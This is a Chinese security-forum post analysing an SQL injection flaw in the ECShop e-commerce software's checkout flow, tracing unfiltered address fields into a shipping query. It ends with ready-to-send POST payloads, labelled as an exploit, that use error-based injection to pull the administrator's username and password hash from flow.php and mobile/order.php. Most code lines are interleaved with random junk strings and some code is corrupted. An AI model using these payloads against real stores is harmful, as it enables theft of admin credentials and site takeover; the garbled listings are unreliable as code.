找回密码
 立即注册
查看: 3025|回复: 0
打印 上一主题 下一主题

ecshop全版本注入分析

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-13 09:48:03 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
前段时间大概2012年圣诞节左右,在t00ls上看见ecshop全版本注入,当时也下载了最新的程序分析了下,最近考试比较忙,今天刚考完,把我分析的记录下来。9 h: h( t: u) U3 I, d

+ d7 J) i6 y* ?: S    漏洞关键文件:
# B' s1 g* W  \4 R4 J  ^7 _, }2 R: q# y1 X; W% j% G  X2 d, ^
    /includes/lib_order.php/ d- [! L* Z7 p8 x7 q

- [' S5 X0 D7 P( ^    关键函数:
, E9 p) z3 d6 u! N8 t6 h
6 b# J6 ]" f& `( B8 ]
' C, ]2 P' x4 z, y- X  u& k
  w, q6 o1 J; Q' f) h8 s* C8 c: u01     function available_shipping_list($region_id_list)
# H& V5 W: x) |- C1 v  O
# f# E' c* u5 X( S3 f02 {
1 t1 a! L2 N' ]5 M- d  \* X- m
0 }% c/ N7 ?9 I8 ~+ E; w03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' . - `% Y% j! ?0 X# E- m0 J
% D8 }; R6 z2 D: I% K* ]
04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .
( }" ^- N0 u) h% G
& A& d* x  b# K, Y2 R: K$ S05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' . . J& x( ^, C$ \: a
9 v% U9 c% r  b6 O7 g* K  \6 T
06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' . 3 b$ T# L, o. Q# b6 F1 X

/ j4 E8 Z- r& l# |: M# Y/ Y07                 $GLOBALS['ecs']->table('area_region') . ' AS r '. ' i! I; f2 W6 K
8 l% Y5 r9 z% P! W9 M
08             'WHERE r.region_id ' . db_create_in($region_id_list) .
* O) O. |2 s0 `: K" X9 C5 Y# J3 i" i8 w! v% v8 [7 E
09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order'; $ @* ]2 @  }2 w: o" D3 `

( h# T/ F. B& w; D) y10   
& ~+ ^7 B# W/ p5 I! M4 B- p5 k2 e# x" ^
11     return $GLOBALS['db']->getAll($sql);
4 u# T* I& P* i$ m5 T0 {4 Y5 R' g9 n) |
12 }
, v7 e; n1 E3 ~+ E+ ]8 h  O. G% K3 V8 j- @
显然对传入的参数没有任何过滤就带入了查询语句。
. }' r! B: P) w 5 {4 R) q& a0 s: f* l' F$ _
下面我们追踪这个函数在flow.php中:" T+ J" r: N5 y% {6 _3 B: |' i
第531行:   1 f! P2 ]3 u& t$ J% U
% {0 I2 F4 `8 q
1 $shipping_list     = available_shipping_list($region); 5 h, y9 ^3 `: f0 H; m

- L4 ]6 M) E3 D5 N$ M) a( k & a# ~/ h  ]  F
9 I6 l5 c/ h- E
6 y9 k% H0 x" P9 F. F5 v

* E6 {! d# r# b, P再对传入变量进行追踪:. Y% ^& E1 r% l8 |9 J$ L! {, Y
) R; M4 O+ }2 p- c
第530行:    ! f: A3 k: U5 @: h
7 j4 J# J' N7 ~7 s9 y5 X4 V
1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']); # M) P6 e) |# A) {0 Y9 ]0 j! h+ v6 A

1 M( M& y% u/ I) t$ L. Q1 D( w- |: M1 l
. G7 M$ s% e7 Y; u. F7 e* ^9 M% e. M, }
6 d0 [$ S; x. I" a; `- l7 X4 h

6 ?8 I+ ]4 ^2 ?! F* N第473行:        
2 Z- t! b8 @+ a: V: Z+ v* B! m7 A& ]1 D; y' z4 P; p1 n2 o% c
1 $consignee = get_consignee($_SESSION['user_id']);
8 h% j( e# F- i! s5 b5 T! L  Y  X7 r5 a
到了一个关键函数:
1 ^% u9 E! {2 ^# R' c  }# ^! @( i' U% X2 P0 F
/includes/lib_order.php
: k- @! P' C2 Z
, B' h! {$ l* ^
  O* |. i2 ^& _) M* ?0 ^- b) O5 y( N  h% o# [# V

( D5 D% C4 o" c) x( y& N1 a3 ~& Y3 Y) d) @( Y0 m
01 function get_consignee($user_id) 8 s5 I, [/ P( d9 |6 g% r! a- g

  F' u; o# i7 U- E) p. W02 { 4 M) E+ D# [+ r  C
. {+ }0 c$ h+ f% o& U( q
03     if (isset($_SESSION['flow_consignee'])) : }  M/ q& g( l6 l" A% F* [

. j: I. J; b- m* g& [04     {
8 o% m" }( M- a& ~: G$ ?0 V8 ]
1 w5 C" H: f  x' D05         /* 如果存在session,则直接返回session中的收货人信息 */ 9 l2 B3 L; Q" U8 \
  y& G* i/ |! n! z8 F) J
06   
4 j! V9 O$ {+ }) Q
' {0 q$ C* i+ R2 j$ f, s" @07         return $_SESSION['flow_consignee']; ' t# ]$ z3 N- Z* ]- }
6 P9 N7 h. ~; n( S& Y3 E' r0 E
08     }
& H( d0 Q( Q, R0 W2 n0 I5 v3 b8 K2 k6 a- S* R' f
09     else 7 B" c" n9 U, {

2 ?9 W7 E5 t3 E- L10     { 8 j: C8 q# K  i5 k2 M+ W. P
& j" m* Z3 E4 E+ |
11         /* 如果不存在,则取得用户的默认收货人信息 */ 5 Z! V! \( p' w& y. P
. A7 y$ j6 e' z9 o
12         $arr = array(); " K  l( R& u* l: m* g* _
; x  E' `6 `0 d7 [- a, Z; A- e
13   
$ f0 h0 Q+ n/ c( A2 g/ F6 q9 @  h! [; O1 ]0 U
14         if ($user_id > 0)
/ k9 P1 _+ I. y8 I/ }9 u2 p9 t1 C! w: G
15         { / V& Z1 c9 r7 j, B

+ [! M& ?1 g9 @16             /* 取默认地址 */ " t/ h* E" G" T2 ^$ g# `" j7 x

4 L. u4 R5 R9 w4 Y1 t3 k5 w17             $sql = "SELECT ua.*".
0 g" J& @% R0 d" [% C# c. K1 z7 M
5 O; V, ?& G+ W0 h0 X18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '. ! P9 a9 Y* C. ~! a3 q! r* h0 A4 A8 C
: E' @8 E& ?" ~1 Q
19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id"; " e5 F7 |! W( Y" Z1 Q
% |1 P+ H# ]! i$ y
20   9 B2 H* ]* ~. Q7 R
6 I  X8 m: Z& @/ f- e& n
21             $arr = $GLOBALS['db']->getRow($sql); / r, X1 i! Z6 V0 K' g- e6 n8 ^/ c
+ m4 ^7 _: H3 ?$ h( O4 O
22         } ! q' c8 F' ^  W% u, E6 r+ A3 h* ?; ?

; s) t2 B6 t  g8 v2 p4 C23   % A$ B( R8 A7 w: ?" E8 t

* ^) z: Q7 A# q* Y24         return $arr;
+ Z; D2 j2 W! K! |/ @
% z- q0 C' p2 d25     }
. v& h4 y8 e6 \2 ]9 i. m! ~
5 M) \: l6 a5 ]( p, e5 W3 d( g& ]26 } 9 k1 d. J1 i+ Y" N
5 E. _9 P# @4 J0 l6 n9 D. h
显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢?
7 P" {8 x' x; U4 x
+ ^8 F' p2 c6 y" V  i: i7 V
% I: c! F. O; a3 M! a' R  b% U
4 X5 ?% p, ~, C* Y6 O( {, P6 J关键点:( K' F  `' u5 i; j: E( s
. h1 L) L; B$ U# z9 D: W5 ^
第400行:    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);
# H8 i; A( A7 W0 L: S4 O
& g8 k9 F/ `4 n( I, R这里对传入参数反转义存入$_SESSION中。
+ ^* t% ]9 u/ e9 S  M8 f1 T3 k8 s. }- O2 M

( {& T) n) S3 l. _* F, q& ~) i1 T0 L
然后看下:- Z0 B+ r. V. r& f9 r
5 e) y5 ~/ a) v9 G% U
2 d/ q- M) r( X* u

1 X* \: q, x. t# \, ~% ~; @   
* o  ^! G) k) i' c* V* w: N2 v
% Y  i; H! u& ^+ F% w01 $consignee = array(
- h& F% W! L$ ]; W) U* W. s. v& ^3 Y9 F# o
02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),
; [& b- K- l1 x$ Z, k
8 ^$ K8 i3 z4 d( N9 u6 _) E03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
: @# `0 E9 U+ {6 z7 \5 _
3 ]& e& x) T. K6 o$ W. h! _2 x( C0 G04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
! A) [+ N% C+ }8 X% q4 e% {: F( @) A9 o# S" u$ ~
05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
1 N+ A3 w2 N, W
6 C) }* M7 M  b; `- g% q% i06         'city'          => empty($_POST['city'])       ? '' _POST['city'],
3 m' C% ~  W9 E9 e
. Y2 r% M2 Z9 n$ R07         'district'      => empty($_POST['district'])   ? '' _POST['district'],
& i3 M4 p# N3 D
8 p0 c2 f2 @/ d08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
1 M% s4 c9 h# G; X! r5 G1 H
! b$ F5 K& b; m; \. y  m09         'address'       => empty($_POST['address'])    ? '' _POST['address'],
, y% o: k, G6 M, f
0 L% t' u8 a- s* \2 j0 _. i; U2 B10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])), & \: X- O7 O6 |# G2 Y
7 }1 p! D  X4 ]: [+ r& S& k! S$ t
11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])), ) V1 H1 J6 T! @
' }  E& E0 n# o& N" m; t$ Z" Z
12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])), . T* h8 s+ N; i  t  }, c3 i! P
9 ~  Z; v* }. r9 O4 ~! g. H' ~
13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'], 6 {+ z5 u7 y# R

6 D8 j8 |; K5 `1 F6 R14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],
* x9 G% U3 U( S
: L+ ~4 R9 J1 S( I/ i15     );
0 F) B0 K+ d& ^4 V* m/ I8 v) F  G  M
好了注入就这样出现了。5 ?+ ]3 @9 Y% \+ ?0 \2 n3 M+ @0 g

9 ~$ z. a* O/ ]- A$ |& M# ^==================6 {* h* p: H7 T, a+ R

$ {: c$ k, I& Q% \9 D- n& N1 k5 G注入测试:3 \  `* X% g2 E$ m0 f9 o  ^

1 n4 u$ s# I$ G' ^6 c+ V环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
1 _, Z; j: V, g) g5 G) Y0 `) _
+ d/ \1 Q2 U8 M# p' T5 m测试程序:ECShop_V2.7.3_UTF8_release1106- ^$ f7 f) K# d2 }, M

% C$ D5 e, _9 d  w2 B . q2 @: [7 `' R5 t& G6 K

8 h& d/ }  L1 r$ q. G! A( M$ h1.首先需要点击一个商品加入购物车
' w2 D8 v# H- z- v8 \. Y3 A* ~: H- ?; h6 j& H
2.注册一个会员帐号
- k, m: y6 r4 q5 {5 t
" j5 P- }# S" _3.post提交数据1 U5 c5 _* j/ N. ~
6 W( c6 y, n0 j0 m0 ]* Z4 C

4 \6 w. q+ T% e; A+ |% x2 l9 A; p( `+ q- V4 s
1 http://127.0.0.1/ecshop/flow.php 0 O% E; D% ]! S* l; @8 t& U+ p
5 q4 K9 R1 H9 c6 o; I+ w# p
2   
& z0 \6 l$ A8 |; {! y+ }
0 a( r& }  B, q# }) x3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id= * K% S) t  K$ t; t4 z- z& F
举一反三,我们根据这个漏洞我们可以继续深入挖掘:+ S* H( Y) f% s1 S% G
! n2 a* l6 d+ Q
我们搜寻关键函数function available_shipping_list()6 T! K5 p) l5 y: p7 V% l

/ g8 y0 K* p3 y在文件/moblie/order.php中出现有,次文件为手机浏览文件功能基本和flow.php相同,代码流程基本相同$ h/ V5 }3 @  X9 v5 b* ]6 ?" d

8 i6 [: p+ Z- c  n8 s利用exp:
  e$ M, k* F$ y' o0 M% h% ?
- x) a# N' a" E5 E# i4 Z( L1.点击一个商品,点击购买商标$ j5 j: s4 Q) }) P: g+ A
: ?+ o+ b4 [9 _& k; E
2.登录会员帐号
. P2 {! O: b6 |. e4 J5 S$ C+ E" ^% x* ]- g: y" @- {
3.post提交:
( t, \- _' `( ^. y. G! O& h( D3 }  ]; Y( x0 M& c& d
http://127.0.0.1/ecshop/mobile/order.php
5 h9 ?! [/ s' ]' ~/ @4 v
7 \3 ?; [# F- `' g/ [8 E4 l 6 X5 @' _% x8 {9 X3 _. W# k$ S! J8 l
1 ^8 {. [) D9 E2 }$ S7 C5 M$ u
country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
2 g$ d( w4 ~  A" B/ u5 I+ V* e0 u6 i+ L7 _  b6 J9 [
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表